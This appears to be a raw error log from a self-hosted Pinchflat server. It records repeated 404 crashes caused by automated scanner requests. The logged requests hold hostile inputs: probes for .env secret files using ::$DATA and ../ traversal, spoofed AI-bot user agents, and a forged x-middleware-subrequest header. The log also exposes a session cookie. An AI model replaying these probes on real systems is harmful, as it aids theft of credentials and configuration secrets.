34226}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw", (truncated) 16:49:08.438 [info] GET /.env.production::$DATA 16:49:08.439 [debug] QUERY OK source="settings" db=0.0ms idle=60.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.439 [debug] QUERY OK source="settings" db=0.0ms idle=38.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.439 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.440 [info] GET /.env.local::$DATA 16:49:08.440 [debug] QUERY OK source="settings" db=0.0ms idle=39.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.439 [error] #PID<0.29741.0> running PinchflatWeb.Endpoint (connection #PID<0.29740.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.production::$DATA?raw ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29740.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production::$DATA", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34236}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29741.0>, params: %{"raw" => ""}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw" => ""}, query_string: "raw", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env.production::$DATA", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61el-KlegNxAAAIAj"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29740.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production::$DATA", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34236}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29740.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production::$DATA", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34236}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; ChatGLM-Spider/1.0; +https://zhipuai.cn/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, (truncated) 16:49:08.440 [debug] QUERY OK source="settings" db=0.0ms idle=15.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.440 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.440 [error] #PID<0.29743.0> running PinchflatWeb.Endpoint (connection #PID<0.29742.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.local::$DATA?raw ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29742.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local::$DATA", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34250}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29743.0>, params: %{"raw" => ""}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{"raw" => ""}, query_string: "raw", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/.env.local::$DATA", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61emPjqxfiTAABwRh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29742.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local::$DATA", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34250}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29742.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local::$DATA", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34250}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "raw", streamid: 1, has_bod (truncated) 16:49:08.445 [info] GET /_nuxt/../.env 16:49:08.445 [debug] QUERY OK source="settings" db=0.0ms idle=20.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.445 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.445 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.445 [error] #PID<0.29745.0> running PinchflatWeb.Endpoint (connection #PID<0.29744.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /_nuxt/../.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_nuxt/../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29744.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_nuxt/../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34258}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29745.0>, params: %{}, path_info: ["_nuxt", "..", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/_nuxt/../.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61encBOXcffAABwSB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29744.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_nuxt/../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34258}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_nuxt/../ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29744.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_nuxt/../.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34258}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, (truncated) 16:49:08.581 [info] GET /api/orders/..%2f..%2f.env 16:49:08.581 [debug] QUERY OK source="settings" db=0.1ms idle=142.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.581 [debug] QUERY OK source="settings" db=0.0ms idle=141.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.581 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.581 [error] #PID<0.29747.0> running PinchflatWeb.Endpoint (connection #PID<0.29746.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/orders/..%2f..%2f.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/orders/..%2f..%2f (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29746.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/orders/..%2f..%2f.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34264}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29747.0>, params: %{}, path_info: ["api", "orders", "..%2f..%2f"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", 